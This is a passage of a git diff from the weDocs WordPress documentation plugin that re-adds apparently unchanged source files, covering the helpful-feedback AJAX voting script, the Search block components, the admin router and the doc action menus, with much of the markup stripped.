yesVotes, noVotes) { - const showVoteCount = $container.find('.vote-count').length > 0; - - if (showVoteCount) { - $container.find('.wedocs-feedback-yes .vote-count').text('(' + yesVotes + ')'); - $container.find('.wedocs-feedback-no .vote-count').text('(' + noVotes + ')'); - } - } - - showThankYou($container, vote, thankYouMessage, data) { - const $title = $container.find('.wedocs-feedback-title'); - const $buttons = $container.find('.wedocs-feedback-buttons'); - - // Create thank you content - const voteIcon = vote === 'yes' - ? '' - : ''; - - const voteText = vote === 'yes' ? 'You found this helpful' : 'You found this not helpful'; - const showVoteCount = $container.find('.vote-count').length > 0; - - let voteSummary = ''; - if (showVoteCount) { - voteSummary = ` -
    - ${data.yes_votes} Yes - - ${data.no_votes} No -
    - `; - } - - const thankYouContent = ` -
    -
    - ${thankYouMessage} -
    -
    -
    - ${voteIcon} - ${voteText} -
    - ${voteSummary} -
    -
    - `; - - // Fade out buttons and fade in thank you message - $buttons.fadeOut(300, function() { - $title.fadeOut(200, function() { - $container.append(thankYouContent); - $container.find('.wedocs-feedback-thank-you').hide().fadeIn(400); - }); - }); - } - - showError($container, message) { - // Remove any existing error messages - $container.find('.wedocs-feedback-error').remove(); - - // Create error message element - const $error = $('
    '); - $error.text(message); - - // Append error message - $container.append($error); - - // Auto-hide error after 5 seconds - setTimeout(() => { - $error.fadeOut(300, function() { - $error.remove(); - }); - }, 5000); - } - - setLoadingState($container, loading) { - if (loading) { - $container.addClass('loading'); - $container.find('.wedocs-feedback-button').prop('disabled', true); - } else { - $container.removeClass('loading'); - $container.find('.wedocs-feedback-button').prop('disabled', false); - } - } - } - - // Initialize when document is ready - $(document).ready(function() { - // Only initialize if we have the required globals - if (typeof wedocsHelpfulFeedback !== 'undefined') { - new WedocsHelpfulFeedback(); - } - }); - - // Expose class globally for extensibility - window.WedocsHelpfulFeedback = WedocsHelpfulFeedback; - -})(jQuery); +/** + * Helpful Feedback Frontend JavaScript + * Handles AJAX voting functionality + */ + +(function($) { + 'use strict'; + + class WedocsHelpfulFeedback { + constructor() { + this.init(); + } + + init() { + this.bindEvents(); + } + + bindEvents() { + $(document).on('click', '.wedocs-feedback-button', this.handleVote.bind(this)); + } + + handleVote(e) { + e.preventDefault(); + + const $button = $(e.currentTarget); + const $container = $button.closest('.wedocs-helpful-feedback'); + const vote = $button.data('vote'); + const postId = $container.data('post-id'); + const allowAnonymous = $container.data('allow-anonymous'); + const thankYouMessage = $container.data('thank-you-message'); + + // Check if already voting + if ($container.hasClass('loading')) { + return; + } + + // Validate required data + if (!vote || !postId) { + this.showError($container, 'Invalid voting data'); + return; + } + + // Show loading state + this.setLoadingState($container, true); + + // Prepare AJAX data + const ajaxData = { + action: 'wedocs_helpful_feedback_vote', + post_id: postId, + vote: vote, + allow_anonymous: allowAnonymous, + nonce: wedocsHelpfulFeedback.nonce + }; + + // Send AJAX request + $.ajax({ + url: wedocsHelpfulFeedback.ajax_url, + type: 'POST', + data: ajaxData, + dataType: 'json', + success: (response) => { + this.handleVoteSuccess(response, $container, vote, thankYouMessage); + }, + error: (xhr, status, error) => { + this.handleVoteError(xhr, $container); + }, + complete: () => { + this.setLoadingState($container, false); + } + }); + } + + handleVoteSuccess(response, $container, vote, thankYouMessage) { + if (response.success) { + // Update vote counts + this.updateVoteCounts($container, response.data.yes_votes, response.data.no_votes); + + // Show thank you message + this.showThankYou($container, vote, thankYouMessage, response.data); + + // Mark as voted + $container.addClass('has-voted voted-' + vote); + + // Fire custom event + $(document).trigger('wedocs:feedback:voted', { + container: $container, + vote: vote, + data: response.data + }); + } else { + this.showError($container, response.data.message || 'Voting failed'); + } + } + + handleVoteError(xhr, $container) { + let errorMessage = 'An error occurred while voting'; + + if (xhr.responseJSON && xhr.responseJSON.data && xhr.responseJSON.data.message) { + errorMessage = xhr.responseJSON.data.message; + } else if (xhr.status === 403) { + errorMessage = 'You are not authorized to vote'; + } else if (xhr.status === 429) { + errorMessage = 'Too many requests. Please try again later'; + } + + this.showError($container, errorMessage); + } + + updateVoteCounts($container, yesVotes, noVotes) { + const showVoteCount = $container.find('.vote-count').length > 0; + + if (showVoteCount) { + $container.find('.wedocs-feedback-yes .vote-count').text('(' + yesVotes + ')'); + $container.find('.wedocs-feedback-no .vote-count').text('(' + noVotes + ')'); + } + } + + showThankYou($container, vote, thankYouMessage, data) { + const $title = $container.find('.wedocs-feedback-title'); + const $buttons = $container.find('.wedocs-feedback-buttons'); + + // Create thank you content + const voteIcon = vote === 'yes' + ? '' + : ''; + + const voteText = vote === 'yes' ? 'You found this helpful' : 'You found this not helpful'; + const showVoteCount = $container.find('.vote-count').length > 0; + + let voteSummary = ''; + if (showVoteCount) { + voteSummary = ` +
    + ${data.yes_votes} Yes + + ${data.no_votes} No +
    + `; + } + + const thankYouContent = ` +
    +
    + ${thankYouMessage} +
    +
    +
    + ${voteIcon} + ${voteText} +
    + ${voteSummary} +
    +
    + `; + + // Fade out buttons and fade in thank you message + $buttons.fadeOut(300, function() { + $title.fadeOut(200, function() { + $container.append(thankYouContent); + $container.find('.wedocs-feedback-thank-you').hide().fadeIn(400); + }); + }); + } + + showError($container, message) { + // Remove any existing error messages + $container.find('.wedocs-feedback-error').remove(); + + // Create error message element + const $error = $('
    '); + $error.text(message); + + // Append error message + $container.append($error); + + // Auto-hide error after 5 seconds + setTimeout(() => { + $error.fadeOut(300, function() { + $error.remove(); + }); + }, 5000); + } + + setLoadingState($container, loading) { + if (loading) { + $container.addClass('loading'); + $container.find('.wedocs-feedback-button').prop('disabled', true); + } else { + $container.removeClass('loading'); + $container.find('.wedocs-feedback-button').prop('disabled', false); + } + } + } + + // Initialize when document is ready + $(document).ready(function() { + // Only initialize if we have the required globals + if (typeof wedocsHelpfulFeedback !== 'undefined') { + new WedocsHelpfulFeedback(); + } + }); + + // Expose class globally for extensibility + window.WedocsHelpfulFeedback = WedocsHelpfulFeedback; + +})(jQuery); diff --git a/src/blocks/Search/edit.js b/src/blocks/Search/edit.js index 219f7aaf..28562117 100644 --- a/src/blocks/Search/edit.js +++ b/src/blocks/Search/edit.js @@ -1,321 +1,321 @@ -import { __ } from '@wordpress/i18n'; -import { cog, shadow } from '@wordpress/icons'; -import { Fragment, useState } from '@wordpress/element'; -import { useBlockProps } from '@wordpress/block-editor'; - -import UnitControl from '../CustomControls/UnitControl'; -import RadioImageControl from '../CustomControls/RadioImageControl'; -import { InspectorControls, PanelColorSettings } from '@wordpress/block-editor'; -import { - PanelBody, - TextControl, - RangeControl, - SelectControl, - ToggleControl, - __experimentalBoxControl as BoxControl -} from '@wordpress/components'; - -const Edit = ({ attributes, setAttributes }) => { - const blockProps = useBlockProps(); - - const { - margin, - bgColor, - padding, - btnRadius, - alignment, - iconColor, - widthUnit, - hoverColor, - borderType, - hideSearch, - btnPadding, - searchWidth, - btnPosition, - placeholder, - borderColor, - borderWidth, - iconBgColor, - borderRadius, - svgHoverColor, - iconHoverColor, - } = attributes; - - const alignmentOptions = [ - { - value : 'left', - label : __( 'Align left', 'wedocs' ), - svg : - - - }, - { - value : 'center', - label : __( 'Align center', 'wedocs' ), - svg : - - - - }, - { - value : 'right', - label : __( 'Align right', 'wedocs' ), - svg : - - - }, - ]; - - const [ hover, setHover ] = useState( false ); - const [ svgHover, setSvgHover ] = useState( false ); - const [ iconHover, setIconHover ] = useState( false ); - - const containerStyles = { - display : 'flex', - justifyContent : alignment, - }; - - const colors = [ - { name: 'Sweet', color: '#F43F5E' }, - { name: 'Orange', color: '#F97316' }, - { name: 'Yellow', color: '#FACC15' }, - { name: 'Purple', color: '#8B5CF6' }, - { name: 'Light Blue', color: '#3B82F6' }, - { name: 'Light Green', color: '#10B981' }, - ]; - - const inputStyles = { - border : `${borderWidth}px ${borderType} ${borderColor}`, - paddingTop : padding?.top, - background : hover ? hoverColor : bgColor, - paddingLeft : padding?.left, - paddingRight : padding?.right, - borderRadius : `${borderRadius}px`, - paddingBottom : padding?.bottom, - }; - - const searchStyles = { - top : btnPosition?.top, - left : btnPosition?.left, - right : btnPosition?.right, - bottom : btnPosition?.bottom, - height : 'auto', - background : iconHover ? iconHoverColor : iconBgColor, - paddingTop : btnPadding?.top, - paddingLeft : btnPadding?.left, - borderRadius : btnRadius, - paddingRight : btnPadding?.right, - paddingBottom : btnPadding?.bottom, - }; - - const borderOptions = [ - { label: __( 'Solid', 'wedocs' ), value: 'solid' }, - { label: __( 'Dotted', 'wedocs' ), value: 'dotted' }, - { label: __( 'Dashed', 'wedocs' ), value: 'dashed' }, - { label: __( 'Double', 'wedocs' ), value: 'double' }, - { label: __( 'Groove', 'wedocs' ), value: 'groove' }, - { label: __( 'Ridge', 'wedocs' ), value: 'ridge' }, - { label: __( 'Inset', 'wedocs' ), value: 'inset' }, - { label: __( 'Outset', 'wedocs' ), value: 'outset' }, - { label: __( 'None', 'wedocs' ), value: 'none' }, - { label: __( 'Hidden', 'wedocs' ), value: 'hidden' }, - ]; - - return ( - - - - setAttributes( { hideSearch: newHideSearch } ) } - /> - - { !hideSearch && ( - - - setAttributes( { bgColor: newBgColor } ), - }, - { - value : hoverColor, - label : __( 'Field Hover Color', 'wedocs' ), - onChange : ( newHoverColor ) => setAttributes( { hoverColor: newHoverColor } ), - }, - { - value : borderColor, - label : __('Border Color', 'wedocs'), - onChange : ( newBorderColor ) => setAttributes( { borderColor: newBorderColor } ), - }, - { - value : iconColor, - label : __( 'Icon Color', 'wedocs' ), - onChange : ( newIconColor ) => setAttributes( { iconColor: newIconColor } ), - }, - { - value : iconBgColor, - label : __( 'Button Color', 'wedocs' ), - onChange : ( newIconBgColor ) => setAttributes( { iconBgColor: newIconBgColor } ), - }, - { - value : iconHoverColor, - label : __( 'Button Hover Color', 'wedocs' ), - onChange : ( newIconHoverColor ) => setAttributes( { iconHoverColor: newIconHoverColor } ), - }, - { - value : svgHoverColor, - label : __( 'Icon Hover Color', 'wedocs' ), - onChange : ( newSvgHoverColor ) => setAttributes( { svgHoverColor: newSvgHoverColor } ), - }, - ] } - /> - - - setAttributes( { widthUnit: newWidthUnit } ) } - onValueChange={ ( newSearchWidth ) => setAttributes( { searchWidth: newSearchWidth ? parseInt( newSearchWidth ) : 0 } ) } - /> - setAttributes( { placeholder: newPlaceholder } ) } - /> -

    { __( 'POSITION', 'wedocs' ) }

    - setAttributes( { alignment: newAlignment } ) } - /> - setAttributes( { padding: newPadding } ) } - /> - setAttributes( { margin: newMargin } ) } - /> - setAttributes( { borderWidth: newBorderWidth } ) } - /> - setAttributes( { borderRadius: newBorderRadius } ) } - /> - setAttributes( { borderType: newBorderType } ) } - /> - setAttributes( { btnPadding: newBtnPadding } ) } - /> - setAttributes( { btnPosition: newBtnPosition } ) } - /> - setAttributes( { btnRadius: newBtnRadius } ) } - /> -
    -
    - ) } -
    -
    -
    - setHover( true ) } - onMouseLeave={ () => setHover( false ) } - /> - - -
    - { hideSearch &&
    } -
    -
    - ); -} - -export default Edit; +import { __ } from '@wordpress/i18n'; +import { cog, shadow } from '@wordpress/icons'; +import { Fragment, useState } from '@wordpress/element'; +import { useBlockProps } from '@wordpress/block-editor'; + +import UnitControl from '../CustomControls/UnitControl'; +import RadioImageControl from '../CustomControls/RadioImageControl'; +import { InspectorControls, PanelColorSettings } from '@wordpress/block-editor'; +import { + PanelBody, + TextControl, + RangeControl, + SelectControl, + ToggleControl, + __experimentalBoxControl as BoxControl +} from '@wordpress/components'; + +const Edit = ({ attributes, setAttributes }) => { + const blockProps = useBlockProps(); + + const { + margin, + bgColor, + padding, + btnRadius, + alignment, + iconColor, + widthUnit, + hoverColor, + borderType, + hideSearch, + btnPadding, + searchWidth, + btnPosition, + placeholder, + borderColor, + borderWidth, + iconBgColor, + borderRadius, + svgHoverColor, + iconHoverColor, + } = attributes; + + const alignmentOptions = [ + { + value : 'left', + label : __( 'Align left', 'wedocs' ), + svg : + + + }, + { + value : 'center', + label : __( 'Align center', 'wedocs' ), + svg : + + + + }, + { + value : 'right', + label : __( 'Align right', 'wedocs' ), + svg : + + + }, + ]; + + const [ hover, setHover ] = useState( false ); + const [ svgHover, setSvgHover ] = useState( false ); + const [ iconHover, setIconHover ] = useState( false ); + + const containerStyles = { + display : 'flex', + justifyContent : alignment, + }; + + const colors = [ + { name: 'Sweet', color: '#F43F5E' }, + { name: 'Orange', color: '#F97316' }, + { name: 'Yellow', color: '#FACC15' }, + { name: 'Purple', color: '#8B5CF6' }, + { name: 'Light Blue', color: '#3B82F6' }, + { name: 'Light Green', color: '#10B981' }, + ]; + + const inputStyles = { + border : `${borderWidth}px ${borderType} ${borderColor}`, + paddingTop : padding?.top, + background : hover ? hoverColor : bgColor, + paddingLeft : padding?.left, + paddingRight : padding?.right, + borderRadius : `${borderRadius}px`, + paddingBottom : padding?.bottom, + }; + + const searchStyles = { + top : btnPosition?.top, + left : btnPosition?.left, + right : btnPosition?.right, + bottom : btnPosition?.bottom, + height : 'auto', + background : iconHover ? iconHoverColor : iconBgColor, + paddingTop : btnPadding?.top, + paddingLeft : btnPadding?.left, + borderRadius : btnRadius, + paddingRight : btnPadding?.right, + paddingBottom : btnPadding?.bottom, + }; + + const borderOptions = [ + { label: __( 'Solid', 'wedocs' ), value: 'solid' }, + { label: __( 'Dotted', 'wedocs' ), value: 'dotted' }, + { label: __( 'Dashed', 'wedocs' ), value: 'dashed' }, + { label: __( 'Double', 'wedocs' ), value: 'double' }, + { label: __( 'Groove', 'wedocs' ), value: 'groove' }, + { label: __( 'Ridge', 'wedocs' ), value: 'ridge' }, + { label: __( 'Inset', 'wedocs' ), value: 'inset' }, + { label: __( 'Outset', 'wedocs' ), value: 'outset' }, + { label: __( 'None', 'wedocs' ), value: 'none' }, + { label: __( 'Hidden', 'wedocs' ), value: 'hidden' }, + ]; + + return ( + + + + setAttributes( { hideSearch: newHideSearch } ) } + /> + + { !hideSearch && ( + + + setAttributes( { bgColor: newBgColor } ), + }, + { + value : hoverColor, + label : __( 'Field Hover Color', 'wedocs' ), + onChange : ( newHoverColor ) => setAttributes( { hoverColor: newHoverColor } ), + }, + { + value : borderColor, + label : __('Border Color', 'wedocs'), + onChange : ( newBorderColor ) => setAttributes( { borderColor: newBorderColor } ), + }, + { + value : iconColor, + label : __( 'Icon Color', 'wedocs' ), + onChange : ( newIconColor ) => setAttributes( { iconColor: newIconColor } ), + }, + { + value : iconBgColor, + label : __( 'Button Color', 'wedocs' ), + onChange : ( newIconBgColor ) => setAttributes( { iconBgColor: newIconBgColor } ), + }, + { + value : iconHoverColor, + label : __( 'Button Hover Color', 'wedocs' ), + onChange : ( newIconHoverColor ) => setAttributes( { iconHoverColor: newIconHoverColor } ), + }, + { + value : svgHoverColor, + label : __( 'Icon Hover Color', 'wedocs' ), + onChange : ( newSvgHoverColor ) => setAttributes( { svgHoverColor: newSvgHoverColor } ), + }, + ] } + /> + + + setAttributes( { widthUnit: newWidthUnit } ) } + onValueChange={ ( newSearchWidth ) => setAttributes( { searchWidth: newSearchWidth ? parseInt( newSearchWidth ) : 0 } ) } + /> + setAttributes( { placeholder: newPlaceholder } ) } + /> +

    { __( 'POSITION', 'wedocs' ) }

    + setAttributes( { alignment: newAlignment } ) } + /> + setAttributes( { padding: newPadding } ) } + /> + setAttributes( { margin: newMargin } ) } + /> + setAttributes( { borderWidth: newBorderWidth } ) } + /> + setAttributes( { borderRadius: newBorderRadius } ) } + /> + setAttributes( { borderType: newBorderType } ) } + /> + setAttributes( { btnPadding: newBtnPadding } ) } + /> + setAttributes( { btnPosition: newBtnPosition } ) } + /> + setAttributes( { btnRadius: newBtnRadius } ) } + /> +
    +
    + ) } +
    +
    +
    + setHover( true ) } + onMouseLeave={ () => setHover( false ) } + /> + + +
    + { hideSearch &&
    } +
    +
    + ); +} + +export default Edit; diff --git a/src/blocks/Search/index.js b/src/blocks/Search/index.js index 81004e15..20d01e70 100644 --- a/src/blocks/Search/index.js +++ b/src/blocks/Search/index.js @@ -1,20 +1,20 @@ -import { registerBlockType } from '@wordpress/blocks'; -import { __ } from '@wordpress/i18n'; -import Edit from './edit'; -import Save from './save'; -import './style.scss'; - -import attributes from './attributes'; - -registerBlockType( 'wedocs/wedocs-search', { - attributes, - save : Save, - edit : Edit, - icon : - - , - title : __( 'weDocs - Searchbar', 'wedocs' ), - keywords : [ 'Search', 'weDocs search bar', 'Bar' ], - category : 'widgets', - description : __( 'Simple search forms for easy user guidance for your documentation', 'wedocs' ), -}); +import { registerBlockType } from '@wordpress/blocks'; +import { __ } from '@wordpress/i18n'; +import Edit from './edit'; +import Save from './save'; +import './style.scss'; + +import attributes from './attributes'; + +registerBlockType( 'wedocs/wedocs-search', { + attributes, + save : Save, + edit : Edit, + icon : + + , + title : __( 'weDocs - Searchbar', 'wedocs' ), + keywords : [ 'Search', 'weDocs search bar', 'Bar' ], + category : 'widgets', + description : __( 'Simple search forms for easy user guidance for your documentation', 'wedocs' ), +}); diff --git a/src/blocks/Search/save.js b/src/blocks/Search/save.js index 65a30b95..ec12e633 100644 --- a/src/blocks/Search/save.js +++ b/src/blocks/Search/save.js @@ -1,111 +1,111 @@ -import { Fragment } from '@wordpress/element'; -import { useBlockProps } from '@wordpress/block-editor'; - -const Save = ({ attributes } ) => { - const { - margin, - bgColor, - padding, - btnRadius, - alignment, - iconColor, - widthUnit, - hoverColor, - borderType, - hideSearch, - btnPadding, - searchWidth, - btnPosition, - placeholder, - borderColor, - borderWidth, - iconBgColor, - borderRadius, - svgHoverColor, - iconHoverColor, - } = attributes; - - if (hideSearch) { - return; - } - - const containerStyles = { - display: 'flex', - justifyContent: alignment, - }; - - const inputStyles = { - border : `${borderWidth}px ${borderType} ${borderColor}`, - paddingTop : padding?.top, - paddingLeft : padding?.left, - paddingRight : padding?.right, - borderRadius : `${borderRadius}px`, - paddingBottom : padding?.bottom, - "--field-color" : bgColor, - "--field-bg-color" : hoverColor, - }; - - const searchStyles = { - top : btnPosition?.top, - left : btnPosition?.left, - right : btnPosition?.right, - bottom : btnPosition?.bottom, - height : 'auto', - paddingTop : btnPadding?.top, - paddingLeft : btnPadding?.left, - borderRadius : btnRadius, - paddingRight : btnPadding?.right, - paddingBottom : btnPadding?.bottom, - "--field-icon-color" : iconColor, - "--field-btn-bg-color" : iconBgColor, - "--field-icon-hover-color" : svgHoverColor, - "--field-btn-bg-hover-color" : iconHoverColor - }; - - return ( - -
    -
    -
    - - - -
    -
    -
    -
    - ); -} - -export default Save; +import { Fragment } from '@wordpress/element'; +import { useBlockProps } from '@wordpress/block-editor'; + +const Save = ({ attributes } ) => { + const { + margin, + bgColor, + padding, + btnRadius, + alignment, + iconColor, + widthUnit, + hoverColor, + borderType, + hideSearch, + btnPadding, + searchWidth, + btnPosition, + placeholder, + borderColor, + borderWidth, + iconBgColor, + borderRadius, + svgHoverColor, + iconHoverColor, + } = attributes; + + if (hideSearch) { + return; + } + + const containerStyles = { + display: 'flex', + justifyContent: alignment, + }; + + const inputStyles = { + border : `${borderWidth}px ${borderType} ${borderColor}`, + paddingTop : padding?.top, + paddingLeft : padding?.left, + paddingRight : padding?.right, + borderRadius : `${borderRadius}px`, + paddingBottom : padding?.bottom, + "--field-color" : bgColor, + "--field-bg-color" : hoverColor, + }; + + const searchStyles = { + top : btnPosition?.top, + left : btnPosition?.left, + right : btnPosition?.right, + bottom : btnPosition?.bottom, + height : 'auto', + paddingTop : btnPadding?.top, + paddingLeft : btnPadding?.left, + borderRadius : btnRadius, + paddingRight : btnPadding?.right, + paddingBottom : btnPadding?.bottom, + "--field-icon-color" : iconColor, + "--field-btn-bg-color" : iconBgColor, + "--field-icon-hover-color" : svgHoverColor, + "--field-btn-bg-hover-color" : iconHoverColor + }; + + return ( + +
    +
    +
    + + + +
    +
    +
    +
    + ); +} + +export default Save; diff --git a/src/blocks/index.js b/src/blocks/index.js index 964c5a24..f0545353 100644 --- a/src/blocks/index.js +++ b/src/blocks/index.js @@ -1,3 +1,3 @@ -import './Search'; -import './DocsGrid'; -import './HelpfulFeedback'; +import './Search'; +import './DocsGrid'; +import './HelpfulFeedback'; diff --git a/src/components/App.js b/src/components/App.js index ffab8dc4..8764d39a 100644 --- a/src/components/App.js +++ b/src/components/App.js @@ -1,51 +1,51 @@ -import Layout from './Layout'; -import { - Route, - RouterProvider, - createHashRouter, - createRoutesFromElements, -} from 'react-router-dom'; -import ListingPage from './DocListing'; -import SettingsPage from './Settings'; -import Documentations from './Documentations'; -import Migrate from './Migrations'; -import NotFound from './NotFound'; -import PermissionSettingsDemo from './PermissionSettingsDemo'; - -const App = () => { - let routes = [ - { path: '/', component: Documentations }, - { path: 'settings', component: SettingsPage }, - { path: 'settings/permission', component: PermissionSettingsDemo }, - { path: 'settings/:panel', component: SettingsPage }, - { path: 'section/:id', component: ListingPage }, - { path: 'migrate', component: Migrate }, - ]; - - routes = wp.hooks.applyFilters('wedocs_register_menu_routes', routes); - - // Add wildcard NotFound route LAST so it doesn't catch Pro routes - routes.push({ path: '*', component: NotFound }); - const router = createHashRouter( - createRoutesFromElements( - <> - {routes && - routes.map((route, index) => ( - } - /> - ))} - - ) - ); - - return ( - - - - ); -}; - -export default App; +import Layout from './Layout'; +import { + Route, + RouterProvider, + createHashRouter, + createRoutesFromElements, +} from 'react-router-dom'; +import ListingPage from './DocListing'; +import SettingsPage from './Settings'; +import Documentations from './Documentations'; +import Migrate from './Migrations'; +import NotFound from './NotFound'; +import PermissionSettingsDemo from './PermissionSettingsDemo'; + +const App = () => { + let routes = [ + { path: '/', component: Documentations }, + { path: 'settings', component: SettingsPage }, + { path: 'settings/permission', component: PermissionSettingsDemo }, + { path: 'settings/:panel', component: SettingsPage }, + { path: 'section/:id', component: ListingPage }, + { path: 'migrate', component: Migrate }, + ]; + + routes = wp.hooks.applyFilters('wedocs_register_menu_routes', routes); + + // Add wildcard NotFound route LAST so it doesn't catch Pro routes + routes.push({ path: '*', component: NotFound }); + const router = createHashRouter( + createRoutesFromElements( + <> + {routes && + routes.map((route, index) => ( + } + /> + ))} + + ) + ); + + return ( + + + + ); +}; + +export default App; diff --git a/src/components/DocActions.js b/src/components/DocActions.js index 1eab176b..1038a644 100644 --- a/src/components/DocActions.js +++ b/src/components/DocActions.js @@ -1,122 +1,122 @@ -import { Fragment, useState } from '@wordpress/element'; -import { __ } from '@wordpress/i18n'; -import RestictionModal from './RestrictionModal'; -import QuickEditModal from './DocListing/QuickEditModal'; -import { userIsAdmin } from '../utils/helper'; -import { dispatch } from '@wordpress/data'; -import Swal from 'sweetalert2'; - -const DocActions = ( { doc, type, section, sections, setShowArticles } ) => { - const isAdmin = userIsAdmin(); - - const documentationActionMenuWidth = wp.hooks.applyFilters( - 'wedocs_admin_documentation_action_menu_width', - 'w-[270px]' - ); - - const articleActionMenuWidth = wp.hooks.applyFilters( - 'wedocs_admin_article_action_menu_width', - 'w-[310px]' - ); - - const [ showActions, setShowActions ] = useState( false ); - - // Update documentation data. - const updateDocStatus = () => { - dispatch( 'wedocs/docs' ) - .updateDoc( doc?.id, { status: doc?.status === 'draft' ? 'publish' : 'draft' } ) - .then( ( { docs } ) => { - Swal.fire( { - icon : 'success', - toast : true, - title : __( `${ type === 'doc' ? 'Doc' : 'Article' } ${ doc?.status === 'draft' ? 'Published' : 'Drafted' } Successfully!`, 'wedocs' ), - timer : 2000, - position : 'bottom-end', - showConfirmButton : false, - // Your article has been successfully drafted - text : __( - `${ type === 'doc' ? 'Your documentation' : 'Your article' } has been successfully ${doc?.status === 'draft' ? 'published' : 'drafted' }`, - 'wedocs' - ), - } ); - } ) - .catch( err => console.log( err ) ); - } - - return ( - -
    setShowActions( true ) } - onMouseLeave={ () => setShowActions( false ) } - > - -
    - { isAdmin && type === 'article' && ( - - { __( 'Quick Edit', 'wedocs' ) } - - ) } - - { /* Edit documentation */ } - - { __( 'Edit', 'wedocs' ) } - - - - { __( 'View', 'wedocs' ) } - - - - { doc?.status === 'draft' ? __( 'Publish Now', 'wedocs' ) : __( 'Switch to Draft', 'wedocs' ) } - - - { /* Add external actions */ } - { wp.hooks.applyFilters( - 'wedocs_admin_article_restriction_action', - '', - doc?.id, - type - ) } - - { /* Delete documentation */ } - - { __( 'Delete', 'wedocs' ) } - -
    -
    -
    - ); -}; - -export default DocActions; +import { Fragment, useState } from '@wordpress/element'; +import { __ } from '@wordpress/i18n'; +import RestictionModal from './RestrictionModal'; +import QuickEditModal from './DocListing/QuickEditModal'; +import { userIsAdmin } from '../utils/helper'; +import { dispatch } from '@wordpress/data'; +import Swal from 'sweetalert2'; + +const DocActions = ( { doc, type, section, sections, setShowArticles } ) => { + const isAdmin = userIsAdmin(); + + const documentationActionMenuWidth = wp.hooks.applyFilters( + 'wedocs_admin_documentation_action_menu_width', + 'w-[270px]' + ); + + const articleActionMenuWidth = wp.hooks.applyFilters( + 'wedocs_admin_article_action_menu_width', + 'w-[310px]' + ); + + const [ showActions, setShowActions ] = useState( false ); + + // Update documentation data. + const updateDocStatus = () => { + dispatch( 'wedocs/docs' ) + .updateDoc( doc?.id, { status: doc?.status === 'draft' ? 'publish' : 'draft' } ) + .then( ( { docs } ) => { + Swal.fire( { + icon : 'success', + toast : true, + title : __( `${ type === 'doc' ? 'Doc' : 'Article' } ${ doc?.status === 'draft' ? 'Published' : 'Drafted' } Successfully!`, 'wedocs' ), + timer : 2000, + position : 'bottom-end', + showConfirmButton : false, + // Your article has been successfully drafted + text : __( + `${ type === 'doc' ? 'Your documentation' : 'Your article' } has been successfully ${doc?.status === 'draft' ? 'published' : 'drafted' }`, + 'wedocs' + ), + } ); + } ) + .catch( err => console.log( err ) ); + } + + return ( + +
    setShowActions( true ) } + onMouseLeave={ () => setShowActions( false ) } + > + +
    + { isAdmin && type === 'article' && ( + + { __( 'Quick Edit', 'wedocs' ) } + + ) } + + { /* Edit documentation */ } + + { __( 'Edit', 'wedocs' ) } + + + + { __( 'View', 'wedocs' ) } + + + + { doc?.status === 'draft' ? __( 'Publish Now', 'wedocs' ) : __( 'Switch to Draft', 'wedocs' ) } + + + { /* Add external actions */ } + { wp.hooks.applyFilters( + 'wedocs_admin_article_restriction_action', + '', + doc?.id, + type + ) } + + { /* Delete documentation */ } + + { __( 'Delete', 'wedocs' ) } + +
    +
    +
    + ); +}; + +export default DocActions; diff --git a/src/components/DocListing/ArticleChildrens.js b/src/components/DocListing/ArticleChildrens.js index 43839731..4e2aff1c 100644 --- a/src/components/DocListing/ArticleChildrens.js +++ b/src/components/DocListing/ArticleChildrens.js @@ -1,266 +1,266 @@ -import he from 'he'; -import DocActions from '../DocActions'; -import { __, sprintf } from '@wordpress/i18n'; -import QuickEditModal from './QuickEditModal'; -import extractedTitle from '../../utils/extractedTitle'; -import UpgradePopup from '../ProPreviews/common/UpgradePopup'; - -const ArticleChildrens = ( { article, section, sections, setShowArticles, isAllowComments } ) => { - // Note: Level 3 articles cannot be dragged due to @dnd-kit nested context limitation - // Drag-and-drop only works for Level 2 articles in the root context - - const { modified: lastModifiedDate, comment_count: commentCount } = article; - - const formattedDateString = () => { - const date = new Date( lastModifiedDate ), - options = { day: 'numeric', month: 'short', year: 'numeric' }; - - return date?.toLocaleDateString( 'en-US', options ); - }; - - const isAdminRestrictedArticle = wp?.hooks?.applyFilters( - 'wedocs_check_is_admin_restricted_article', - false, - article?.id - ); - - if ( section ) { - return ( -
    -
    -
    -
    -
    - - - - -
    - -
    - - { article?.status === 'draft' && ( -
    - { __( 'Draft', 'wedocs' ) } -
    - ) } -
    - - { /* Add Nested Article Button - Pro Feature */ } - { ! Boolean( parseInt( isAdminRestrictedArticle ) ) && ( - -
    - -
    -
    - ) } - - - { ! Boolean( parseInt( isAdminRestrictedArticle ) ) && ( - <> - - - - - - - -
    - - - -
    - - ) } -
    - -
    -
    -
    -
    - { /* Render admin restriction icon. */ } - { wp?.hooks?.applyFilters( - 'wedocs_article_privacy_action', - [], - article?.id - ) } - - { ( isAllowComments === 'on' || - ! Boolean( isAllowComments ) ) && ( -
    - - - -

    - { commentCount } -

    -
    - ) } - { /* Render article contributors. */ } - { wp?.hooks?.applyFilters( - 'wedocs_article_contributors', - '', - article?.id - ) } -
    - { /* translators: %s: Formatted datetime string */ } - { sprintf( - __( 'Updated on %s', 'wedocs' ), - formattedDateString() - ) } -
    -
    -
    -
    -
    - { ! Boolean( parseInt( wp?.hooks?.applyFilters( - 'wedocs_check_is_admin_restricted_article', - false, - article?.id - ) ) ) && ( - - ) } -
    -
    -
    - ); - } - - return null; -}; - -export default ArticleChildrens; +import he from 'he'; +import DocActions from '../DocActions'; +import { __, sprintf } from '@wordpress/i18n'; +import QuickEditModal from './QuickEditModal'; +import extractedTitle from '../../utils/extractedTitle'; +import UpgradePopup from '../ProPreviews/common/UpgradePopup'; + +const ArticleChildrens = ( { article, section, sections, setShowArticles, isAllowComments } ) => { + // Note: Level 3 articles cannot be dragged due to @dnd-kit nested context limitation + // Drag-and-drop only works for Level 2 articles in the root context + + const { modified: lastModifiedDate, comment_count: commentCount } = article; + + const formattedDateString = () => { + const date = new Date( lastModifiedDate ), + options = { day: 'numeric', month: 'short', year: 'numeric' }; + + return date?.toLocaleDateString( 'en-US', options ); + }; + + const isAdminRestrictedArticle = wp?.hooks?.applyFilters( + 'wedocs_check_is_admin_restricted_article', + false, + article?.id + ); + + if ( section ) { + return ( +
    +
    +
    +
    +
    + + + + +
    + +
    + + { article?.status === 'draft' && ( +
    + { __( 'Draft', 'wedocs' ) } +
    + ) } +
    + + { /* Add Nested Article Button - Pro Feature */ } + { ! Boolean( parseInt( isAdminRestrictedArticle ) ) && ( + +
    + +
    +
    + ) } + + + { ! Boolean( parseInt( isAdminRestrictedArticle ) ) && ( + <> + + + + + + + +
    + + + +
    + + ) } +
    + +
    +
    +
    +
